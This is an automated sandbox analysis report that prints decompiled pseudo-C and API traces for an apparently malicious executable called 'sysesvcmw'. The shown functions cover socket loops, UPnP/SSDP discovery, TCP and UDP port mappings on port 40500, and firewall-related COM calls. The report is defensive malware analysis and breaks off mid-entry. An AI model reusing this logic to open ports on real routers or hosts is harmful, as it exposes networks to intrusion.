				if(_v1056 >= 2) {
					if(_v1056 <= 3 || _v1056 == 6) {
						if(QueryDosDeviceW(_a4,  &_v1052, 0x208) != 0 && StrCmpNW( &_v1052, L"\\??\\", 4) == 0) {
							_v8 = 1;
						}
					}
				}
				return _v8;
			}

0x00404be3
0x00404be9
0x00404bf6
0x00404bff
0x00404c24
0x00404c3e
0x00404c3e
0x00404c24
0x00404bff
0x00404c4b

APIs

GetDriveTypeW.KERNEL32(00404C8F), ref: 00404BDD
QueryDosDeviceW.KERNEL32(00404C8F,?,00000208), ref: 00404C1C
StrCmpNW.SHLWAPI(?,\??\,00000004), ref: 00404C34

Strings

\??\, xrefs: 00404C28

Memory Dump Source

Source File: 00000008.00000002.1462699061.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1462659242.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462831343.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462921406.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: DeviceDriveQueryType
String ID: \??\
API String ID: 1681518211-3047946824
Opcode ID: 84def6f5971ed18c5027915d3437ea3a00eaa7db189a83ce85c670b15ed75c6e
Instruction ID: 6661d798698d2c2b86e5031d8900814977fd28410c715a717113d467a9626b5b
Opcode Fuzzy Hash: 84def6f5971ed18c5027915d3437ea3a00eaa7db189a83ce85c670b15ed75c6e
Instruction Fuzzy Hash: 26014FB494520CEBDF64CF95CE48AD977B4AB84701F0081BAAB05A7280D6789EC5CF9C

Uniqueness

Uniqueness Score: -1.00%

Function 0040DAD0 Relevance: 6.1, APIs: 4, Instructions: 84
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E0040DAD0(char* __edx, intOrPtr _a4) {
				short _v18;
				short _v22;
				short _v26;
				short _v28;
				short _v30;
				char _v32;
				char _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				char _v56;
				intOrPtr _v68;
				char* _t23;
				short _t26;
				long _t29;
				short _t34;
				intOrPtr _t37;
				intOrPtr _t43;
				long _t47;
				signed int _t48;
				void* _t50;

				_t40 = __edx;
				_t50 = (_t48 & 0xfffffff8) - 0x1c;
				_t34 = 0;
				_t43 = _a4;
				_v28 = 0;
				do {
					_t23 =  &_v32;
					_v32 = 0;
					__imp__#10( *(_t43 + 8), 0x4004667f, _t23);
					if(_t23 == 0xffffffff) {
						break;
					}
					_t37 = _v44;
					if(_t37 != 0) {
						if(_t34 == 0 || _v40 < _t37) {
							_v40 = _t37;
							_t26 = E00408B60(_t37, _t40, _t34, _t37);
							_t37 = _v44;
							_t50 = _t50 + 8;
							_t34 = _t26;
						}
						_v30 = 0;
						_v26 = 0;
						_v22 = 0;
						_v18 = 0;
						_t29 =  *(_t43 + 8);
						_v32 = 0;
						_t40 =  &_v32;
						_v36 = 0x10;
						__imp__#17(_t29, _t34, _t37, 0,  &_v32,  &_v36);
						_t47 = _t29;
						if(_t47 != 0xffffffff && _t47 != 0) {
							InterlockedExchangeAdd(_t43 + 0x18, _t47);
							_t40 =  &_v56;
							E0040D9A0(_t43, _t34, _t47, _v68,  &_v56);
							_t50 = _t50 + 0x14;
						}
					}
				} while (WaitForSingleObject( *(_t43 + 0x10), 1) == 0x102);
				return E00408C70(_t34);
			}

APIs

ioctlsocket.WS2_32 ref: 0040DAFB
recvfrom.WS2_32 ref: 0040DB68
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 0040DB7E
WaitForSingleObject.KERNEL32(?,00000001), ref: 0040DB9F

Memory Dump Source

Source File: 00000008.00000002.1462699061.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1462659242.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462831343.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462921406.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: ExchangeInterlockedObjectSingleWaitioctlsocketrecvfrom
String ID:
API String ID: 3980219359-0
Opcode ID: 42d21b16754e23747dafd69a251c4984d532d74facc10c73496740973b16efae
Instruction ID: 93b40cc26d049a7996018c96e8ad19021b123b172151b20c2622c6b09396bf40
Opcode Fuzzy Hash: 42d21b16754e23747dafd69a251c4984d532d74facc10c73496740973b16efae
Instruction Fuzzy Hash: 33216FB1904305AFD314DF65DC84A6BB7E8EF84314F004A3EF459A2291E774A9488BAA

Uniqueness

Uniqueness Score: -1.00%

Function 0040EA30 Relevance: 6.1, APIs: 4, Instructions: 73
networkCOMMON

Download Yara Rule

C-Code - Quality: 29%

			E0040EA30(char _a4) {
				long _v4;
				struct _OVERLAPPED* _v8;
				long _v12;
				void* __ebx;
				signed int _t31;
				signed int _t32;
				signed int _t36;
				struct _OVERLAPPED* _t38;
				long _t43;
				char _t51;
				struct _OVERLAPPED* _t52;
				long* _t54;

				_t54 =  &_v12;
				_t51 = _a4;
				_t52 = 0;
				_v4 = 0;
				_v12 = 0;
				_v8 = 0;
				_t31 = GetQueuedCompletionStatus( *(_t51 + 8),  &_v4,  &_v12,  &_v8, 0xffffffff);
				_t43 = _v12;
				_t32 = _t31 & 0xffffff00 | _t31 != 0x00000000;
				if(_t43 == 0) {
					return _t32;
				}
				do {
					if(_t32 == 0) {
						_t38 =  *((intOrPtr*)(_t43 + 0x260));
						__imp__WSAGetOverlappedResult(_t38, _v8,  &_v4, 0,  &_a4);
						if(_t38 == 0) {
							__imp__#111();
							_t52 = _t38;
						}
					}
					_push(_t52);
					E0040E840(_v8, _v4, _v12);
					_t54 =  &(_t54[1]);
					_t52 = 0;
					_v4 = 0;
					_v12 = 0;
					_v8 = 0;
					_t36 = GetQueuedCompletionStatus( *(_t51 + 8),  &_v4,  &_v12,  &_v8, 0xffffffff);
					_t43 = _v12;
					_t32 = _t36 & 0xffffff00 | _t36 != 0x00000000;
				} while (_t43 != 0);
				return _t32;
			}

APIs

GetQueuedCompletionStatus.KERNEL32(?,?,?,?,000000FF), ref: 0040EA63
WSAGetOverlappedResult.WS2_32(?,?,?,00000000,?), ref: 0040EA8F
WSAGetLastError.WS2_32 ref: 0040EA99
GetQueuedCompletionStatus.KERNEL32(?,?,?,?,000000FF), ref: 0040EAD9

Memory Dump Source

Source File: 00000008.00000002.1462699061.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1462659242.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462831343.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462921406.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: CompletionQueuedStatus$ErrorLastOverlappedResult
String ID:
API String ID: 2074799992-0
Opcode ID: da4c304c9c1be7b6ec673d01c7b8ed459bae1c4d061c2b26b3558c89e2bae2e2
Instruction ID: 57984d4194687ad85c3307d42481ebd1fe789462df0af38e0fad0134068e6b44
Opcode Fuzzy Hash: da4c304c9c1be7b6ec673d01c7b8ed459bae1c4d061c2b26b3558c89e2bae2e2
Instruction Fuzzy Hash: 4C213EB15083119BC600DF55D880D6BB7E8BFDCB64F044A2EF598A3250D734EA49CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 0040E730 Relevance: 6.1, APIs: 4, Instructions: 59networksleepCOMMON

Download Yara Rule

APIs

WSARecv.WS2_32(?,?,00000001,?,?,?,00000000), ref: 0040E768
WSAGetLastError.WS2_32(?,?,0040EC84), ref: 0040E770
Sleep.KERNEL32(00000001,?,?,0040EC84), ref: 0040E786
WSARecv.WS2_32(?,?,00000001,?,?,?,00000000), ref: 0040E7AC

Memory Dump Source

Source File: 00000008.00000002.1462699061.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1462659242.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462831343.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462921406.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Recv$ErrorLastSleep
String ID:
API String ID: 3668019968-0
Opcode ID: c27d7355d997e997ad15a14d69b16d301b2f1f4b418a8c27a866cefb6ec18630
Instruction ID: ce078963949e4c85844abf3da7583f675a37e97f6c8ed4734d1f7ba0ccbfa151
Opcode Fuzzy Hash: c27d7355d997e997ad15a14d69b16d301b2f1f4b418a8c27a866cefb6ec18630
Instruction Fuzzy Hash: C211AD76104305AFD310CF65EC84EEBB7ECEB88700F40492AF945D3280E679E94997B2

Uniqueness

Uniqueness Score: -1.00%

Function 0040E5C0 Relevance: 6.0, APIs: 4, Instructions: 49networksleepCOMMON

Download Yara Rule

APIs

WSASend.WS2_32(?,?,00000001,?,00000000,?,00000000), ref: 0040E5EC
WSAGetLastError.WS2_32 ref: 0040E5F2
Sleep.KERNEL32(00000001), ref: 0040E608
WSASend.WS2_32(?,?,00000001,?,00000000,?,00000000), ref: 0040E62A

Memory Dump Source

Source File: 00000008.00000002.1462699061.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1462659242.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462831343.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462921406.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Send$ErrorLastSleep
String ID:
API String ID: 2121970615-0
Opcode ID: 92b9ff23b28bc40c6e9e710034151e6c318f4b9486cff39ba22ee0894646fa3f
Instruction ID: 3e3dd8552cbe75fe5ae1c554dac2643b1da2c24a2dcdc53f0862cdb527b38f0e
Opcode Fuzzy Hash: 92b9ff23b28bc40c6e9e710034151e6c318f4b9486cff39ba22ee0894646fa3f
Instruction Fuzzy Hash: B40162712443056FE730CE96DC88F9B77ACEBC8711F40882AF608D61C0C7B5A9469B79

Uniqueness

Uniqueness Score: -1.00%

Function 0040E280 Relevance: 6.0, APIs: 4, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040E280(void* __esi) {
				intOrPtr _t13;
				intOrPtr _t19;
				struct _CRITICAL_SECTION* _t21;
				void* _t22;
				intOrPtr _t23;
				void* _t24;

				_t22 = __esi;
				_t23 =  *((intOrPtr*)(_t24 + 0xc));
				_t21 = _t23 + 0x244;
				EnterCriticalSection(_t21);
				if(__esi == 0) {
					L9:
					LeaveCriticalSection(_t21);
					return 1;
				} else {
					if(InterlockedExchangeAdd(__esi + 0x14, 0) == 0) {
						_t13 =  *((intOrPtr*)(__esi + 0x38));
						_t19 =  *((intOrPtr*)(__esi + 0x34));
						if(_t13 != 0) {
							 *((intOrPtr*)(_t13 + 0x34)) = _t19;
						}
						if(_t19 == 0) {
							 *((intOrPtr*)(_t23 + 0x25c)) = _t13;
						} else {
							 *((intOrPtr*)(_t19 + 0x38)) = _t13;
						}
						E00408C70( *((intOrPtr*)(_t22 + 0x2c)));
						E00408C70(_t22);
						goto L9;
					} else {
						LeaveCriticalSection(_t21);
						return 0;
					}
				}
			}

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,0040E34C,?,?), ref: 0040E290
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 0040E2A0
LeaveCriticalSection.KERNEL32(?,?,?,0040E34C,?,?), ref: 0040E2AD
LeaveCriticalSection.KERNEL32(?,?,?,0040E34C,?,?), ref: 0040E2E8

Memory Dump Source

Source File: 00000008.00000002.1462699061.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1462659242.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462831343.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462921406.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: CriticalSection$Leave$EnterExchangeInterlocked
String ID:
API String ID: 2223660684-0
Opcode ID: e7775c6e724d18b6b16e4560ed2e445d19ec959f5a48ac8fdc33ada78c93d50a
Instruction ID: e6ac6c1a31680b607f42abd4f6290106e839e9b4de79647b68f4cbd1092355c7
Opcode Fuzzy Hash: e7775c6e724d18b6b16e4560ed2e445d19ec959f5a48ac8fdc33ada78c93d50a
Instruction Fuzzy Hash: 4001DF35242204AFC3209F63ED44ADB73ACAB85B21B00483EE946A3681CB39E441CB38

Uniqueness

Uniqueness Score: -1.00%

Function 0040BDD0 Relevance: 6.0, APIs: 4, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040BDD0(intOrPtr* _a4) {
				intOrPtr* _v8;
				signed int _v12;
				void* _t20;

				if(_a4 != 0) {
					_v8 = _a4;
					EnterCriticalSection(_v8 + 4);
					_v12 = 0;
					while(_v12 <  *_v8) {
						_t11 = _v8 + 0x1c; // 0xfe5ae850
						CloseHandle( *( *_t11 + _v12 * 4));
						_v12 = _v12 + 1;
					}
					LeaveCriticalSection(_v8 + 4);
					DeleteCriticalSection(_v8 + 4);
					_t18 = _v8 + 0x1c; // 0xfe5ae850
					E00408C70( *_t18);
					return E00408C70(_a4);
				}
				return _t20;
			}

0x0040bdda
0x0040bddf
0x0040bde9
0x0040bdef
0x0040be01
0x0040be0e
0x0040be18
0x0040bdfe
0x0040bdfe
0x0040be27
0x0040be34
0x0040be3d
0x0040be41
0x00000000
0x0040be52
0x0040be58

APIs

EnterCriticalSection.KERNEL32(0040EC80), ref: 0040BDE9
CloseHandle.KERNEL32(0040EC84), ref: 0040BE18
LeaveCriticalSection.KERNEL32(0040EC80), ref: 0040BE27
DeleteCriticalSection.KERNEL32(0040EC80), ref: 0040BE34

Memory Dump Source

Source File: 00000008.00000002.1462699061.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1462659242.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462831343.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462921406.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: CriticalSection$CloseDeleteEnterHandleLeave
String ID:
API String ID: 3102160386-0
Opcode ID: d585c410c8feea3006216bdaf8938572b99092e330cb370cdf972aaff2801c2a
Instruction ID: b4a8df68a5ba6ddb4f07b24493b5635e0034f74153efd53aa39cf24915a517ea
Opcode Fuzzy Hash: d585c410c8feea3006216bdaf8938572b99092e330cb370cdf972aaff2801c2a
Instruction Fuzzy Hash: EF111E74900208EBDB04DF94D984A9DB7B5FF45309F2081A9E90667341DB35EE90DB99

Uniqueness

Uniqueness Score: -1.00%

Function 00405BA0 Relevance: 6.0, APIs: 4, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

CoInitializeEx.OLE32(00000000,00000002,?,?,0040652D), ref: 00405BA8
SysAllocString.OLEAUT32(004169D8), ref: 00405BB3
CoUninitialize.OLE32 ref: 00405BD8

Part of subcall function 00405910: SysFreeString.OLEAUT32(00000000), ref: 00405B28

SysFreeString.OLEAUT32(00000000), ref: 00405BD2

Memory Dump Source

Source File: 00000008.00000002.1462699061.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1462659242.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462831343.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462921406.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: String$Free$AllocInitializeUninitialize
String ID:
API String ID: 459949847-0
Opcode ID: 6cd694fec373ba90f407f83b999d67f828c72ca168007c4fd3c8841ffbaea35b
Instruction ID: 8e1ceaac5e3c15648392f9261d8fa4bd32f1c3ccaf3a14fdf2aec8c3e2deeebf
Opcode Fuzzy Hash: 6cd694fec373ba90f407f83b999d67f828c72ca168007c4fd3c8841ffbaea35b
Instruction Fuzzy Hash: C9E048B5940208FBD704EBE0DD0EB9D7774DB05305F1041B5F50566291DAF99E80CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00405910 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 238
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E00405910(intOrPtr _a4) {
				intOrPtr _v8;
				void* _v12;
				void* _v16;
				intOrPtr _v20;
				void* _v24;
				intOrPtr* _v28;
				void* _v32;
				short _v36;
				char _v40;
				intOrPtr _t95;
				intOrPtr _t110;
				void* _t118;
				void* _t199;
				void* _t200;

				_v28 = 0;
				_v32 = 0;
				_v16 = 0;
				_v12 = 0;
				_v24 = 0;
				_v8 = 0;
				_v20 = 0;
				while(1) {
					_t95 = E004058C0(0x4120d4, 0x4120e4);
					_t200 = _t199 + 8;
					_v28 = _t95;
					if(_v28 == 0) {
						break;
					}
					_push( &_v32);
					_push(_v28);
					if( *((intOrPtr*)( *((intOrPtr*)( *_v28 + 0x1c))))() == 0) {
						_push( &_v16);
						_push(_v32);
						if( *((intOrPtr*)( *((intOrPtr*)( *_v32 + 0x1c))))() == 0) {
							_push( &_v36);
							_push(_v16);
							if( *((intOrPtr*)( *((intOrPtr*)( *_v16 + 0x20))))() == 0) {
								if(_v36 == 0xffffffff) {
									_push( &_v12);
									_push(_v16);
									if( *((intOrPtr*)( *((intOrPtr*)( *_v16 + 0x50))))() == 0) {
										_push( &_v24);
										_push(_a4);
										_push(_v12);
										if( *((intOrPtr*)( *((intOrPtr*)( *_v12 + 0x28))))() != 0) {
											_t110 = E004058C0(0x4120f4, 0x412104);
											_t199 = _t200 + 8;
											_v24 = _t110;
											if(_v24 != 0) {
												__imp__#2(L"Microsoft Corporation");
												_v8 = _t110;
												if(_v8 != 0) {
													_push(_v8);
													_push(_v24);
													if( *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x20))))() == 0) {
														_push(_a4);
														_push(_v24);
														if( *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x28))))() == 0) {
															_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x38))))(_v24, 0);
															if(_t118 == 0) {
																 *((intOrPtr*)( *((intOrPtr*)( *_v12 + 0x20))))(_v12, _v24);
																_t118 = 0;
																if(0 != 0) {
																	continue;
																}
																L34:
																if(_v20 != 0) {
																	_t118 = E00408C70(_v20);
																}
																if(_v8 != 0) {
																	__imp__#6(_v8);
																}
																if(_v24 != 0) {
																	_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v24 + 8))))(_v24);
																}
																if(_v12 != 0) {
																	_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v12 + 8))))(_v12);
																}
																if(_v16 != 0) {
																	_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v16 + 8))))(_v16);
																}
																if(_v32 != 0) {
																	_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v32 + 8))))(_v32);
																}
																if(_v28 == 0) {
																	return _t118;
																} else {
																	return  *((intOrPtr*)( *((intOrPtr*)( *_v28 + 8))))(_v28);
																}
															}
															goto L34;
														}
														goto L34;
													}
													goto L34;
												}
												goto L34;
											}
											goto L34;
										}
										_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x44))))(_v24,  &_v36);
										if(_t118 == 0) {
											if(_v36 != 0xffffffff) {
												 *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x48))))(_v24, 0xffffffff);
												_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x38))))(_v24, 0);
											} else {
												_v40 = 0;
												_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x34))))(_v24,  &_v40);
												if(_t118 == 0 && _v40 != 0) {
													_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x38))))(_v24, 0);
												}
											}
										}
										goto L34;
									}
									goto L34;
								}
								goto L34;
							}
							goto L34;
						}
						goto L34;
					}
					goto L34;
				}
				goto L34;
			}

APIs

Part of subcall function 004058C0: CoCreateInstance.OLE32(00000000,00000000,00004401,00000000,00000000), ref: 004058E0

SysFreeString.OLEAUT32(00000000), ref: 00405B28

Strings

Microsoft Corporation, xrefs: 00405A96

Memory Dump Source

Source File: 00000008.00000002.1462699061.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1462659242.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462831343.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462921406.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: CreateFreeInstanceString
String ID: Microsoft Corporation
API String ID: 586785272-3838278685
Opcode ID: 5101201dcff8a4348e4f4b8b21c8e9287c00567db6cdf25e3dc099c263020228
Instruction ID: b966d8a815279bea9682a753b9e4a3ce538f0dcc0c86578e863b9189ac0295eb
Opcode Fuzzy Hash: 5101201dcff8a4348e4f4b8b21c8e9287c00567db6cdf25e3dc099c263020228
Instruction Fuzzy Hash: 1691BA75A0050ADFCB04DB98C994EAFB7B5EF88304F208269E515B73A0D778AE41CF65

Uniqueness

Uniqueness Score: -1.00%

Function 0040CC30 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 101
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E0040CC30(char* _a4) {
				char _v8;
				intOrPtr _v12;
				char _v16;
				intOrPtr* _v20;
				void* _v24;
				void* _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _t44;
				intOrPtr* _t46;
				intOrPtr _t59;
				intOrPtr _t62;
				void* _t88;
				void* _t89;
				void* _t90;

				_v16 = 0;
				_t44 = E0040C260(_a4,  &_v8);
				_t89 = _t88 + 8;
				_v12 = _t44;
				if(_v12 != 0) {
					_t46 = E0040C000(_v12);
					_t90 = _t89 + 4;
					_v20 = _t46;
					if(_v20 != 0) {
						_v24 = 0;
						_push( &_v24);
						_push(_v20);
						if( *((intOrPtr*)( *((intOrPtr*)( *_v20 + 0xb4))))() == 0 && _v24 != 0) {
							_v28 = 0;
							_push( &_v28);
							_push(_v24);
							if( *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x30))))() == 0 && _v28 != 0) {
								_t59 = E0040CBE0(_v28);
								_t90 = _t90 + 4;
								_v32 = _t59;
								if(_v32 != 0) {
									_t62 = E0040CAC0(_v28);
									_t90 = _t90 + 4;
									_v36 = _t62;
									if(_v36 != 0) {
										E0040B3E0( &_v16, "%S%S", _v32);
										_t90 = _t90 + 0x10;
										__imp__#6(_v36, _v36);
									}
									__imp__#6(_v32);
								}
								 *((intOrPtr*)( *((intOrPtr*)( *_v28 + 8))))(_v28);
							}
							 *((intOrPtr*)( *((intOrPtr*)( *_v24 + 8))))(_v24);
						}
						 *((intOrPtr*)( *((intOrPtr*)( *_v20 + 8))))(_v20);
					}
					E00408C70(_v12);
				}
				return _v16;
			}

APIs

Part of subcall function 0040C260: memset.NTDLL ref: 0040C288
Part of subcall function 0040C260: InternetCrackUrlA.WININET(0040D079,00000000,10000000,0000003C), ref: 0040C2D8
Part of subcall function 0040C260: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040C2E8
Part of subcall function 0040C260: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040C321
Part of subcall function 0040C260: HttpOpenRequestA.WININET(00000000,GET,?,00000000,00000000,00000000,00000000,00000000), ref: 0040C357
Part of subcall function 0040C260: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040C37F
Part of subcall function 0040C260: InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040C3C8
Part of subcall function 0040C260: InternetCloseHandle.WININET(00000000), ref: 0040C457

Part of subcall function 0040C000: SysAllocString.OLEAUT32(00000000), ref: 0040C02E
Part of subcall function 0040C000: CoCreateInstance.OLE32(00410318,00000000,00004401,00410308,00000000), ref: 0040C056
Part of subcall function 0040C000: SysFreeString.OLEAUT32(00000000), ref: 0040C0F1

SysFreeString.OLEAUT32(00000000), ref: 0040CD0B
SysFreeString.OLEAUT32(00000000), ref: 0040CD15

Strings

%S%S, xrefs: 0040CCF6

Memory Dump Source

Source File: 00000008.00000002.1462699061.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1462659242.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462831343.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462921406.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Internet$String$Free$HttpOpenRequest$AllocCloseConnectCrackCreateFileHandleInstanceReadSendmemset
String ID: %S%S
API String ID: 1017111014-3267608656
Opcode ID: 86f6504e5494efba9a820ad851abc2735c65b1deacf7d2d6193f3942743fcb34
Instruction ID: f6c0dd48525cf9db1308fcfd74a329a1c42d5f2fc6292bf47869dbcd9c674937
Opcode Fuzzy Hash: 86f6504e5494efba9a820ad851abc2735c65b1deacf7d2d6193f3942743fcb34
Instruction Fuzzy Hash: BB4129B5E00109DFDB04DBE4D885AEFB7B9BF88304F104669E505B7390D738AA45CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040D020 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E0040D020() {
				intOrPtr _v8;
				char _v12;
				signed int _v16;
				intOrPtr _v20;
				intOrPtr _t20;
				intOrPtr _t26;
				intOrPtr _t31;
				void* _t36;
				void* _t37;

				__imp__CoInitializeEx(0, 2);
				_v12 = 0;
				_t20 = E0040C580( &_v12,  &_v12);
				_t37 = _t36 + 4;
				_v8 = _t20;
				if(_v8 != 0) {
					_v16 = 0;
					while(_v16 < _v8) {
						_t20 = E0040CC30( *((intOrPtr*)(_v12 + _v16 * 4)));
						_t37 = _t37 + 4;
						 *0x416e24 = _t20;
						if( *0x416e24 == 0) {
							_v16 = _v16 + 1;
							continue;
						}
						_v20 = E00409540();
						_t31 =  *0x416e24; // 0x0
						E0040CFA0(_t31, _t31, "TCP", 0x9e34, _v20);
						_t26 =  *0x416e24; // 0x0
						_t20 = E0040CFA0(_t31, _t26, "UDP", 0x9e34, _v20);
						_t37 = _t37 + 0x20;
						break;
					}
					return E00408D90(_t20, _v8, _v12, _v8);
				}
				return _t20;
			}

APIs

CoInitializeEx.OLE32(00000000,00000002,?,?,?,00406528), ref: 0040D02A

Part of subcall function 0040C580: socket.WS2_32(00000002,00000002,00000011), ref: 0040C59A
Part of subcall function 0040C580: htons.WS2_32(0000076C), ref: 0040C5D0
Part of subcall function 0040C580: inet_addr.WS2_32(239.255.255.250), ref: 0040C5DF
Part of subcall function 0040C580: setsockopt.WS2_32(000000FF,0000FFFF,00000020,00000001,00000001), ref: 0040C5FD
Part of subcall function 0040C580: bind.WS2_32(000000FF,?,00000010), ref: 0040C633
Part of subcall function 0040C580: lstrlenA.KERNEL32(00410578,00000000,?,00000010), ref: 0040C64C
Part of subcall function 0040C580: sendto.WS2_32(000000FF,00410578,00000000), ref: 0040C65B
Part of subcall function 0040C580: ioctlsocket.WS2_32(000000FF,8004667E,00000001), ref: 0040C675

Part of subcall function 0040CC30: SysFreeString.OLEAUT32(00000000), ref: 0040CD0B
Part of subcall function 0040CC30: SysFreeString.OLEAUT32(00000000), ref: 0040CD15

Strings

UDP, xrefs: 0040D0B8
TCP, xrefs: 0040D09B

Memory Dump Source

Source File: 00000008.00000002.1462699061.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1462659242.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462831343.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462921406.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: FreeString$Initializebindhtonsinet_addrioctlsocketlstrlensendtosetsockoptsocket
String ID: TCP$UDP
API String ID: 1519345861-1097902612
Opcode ID: 014f018b2ad0d604453ca6d4d42fb9b10cc54ad83f4ff0cd62ecb7ebe3116a6f
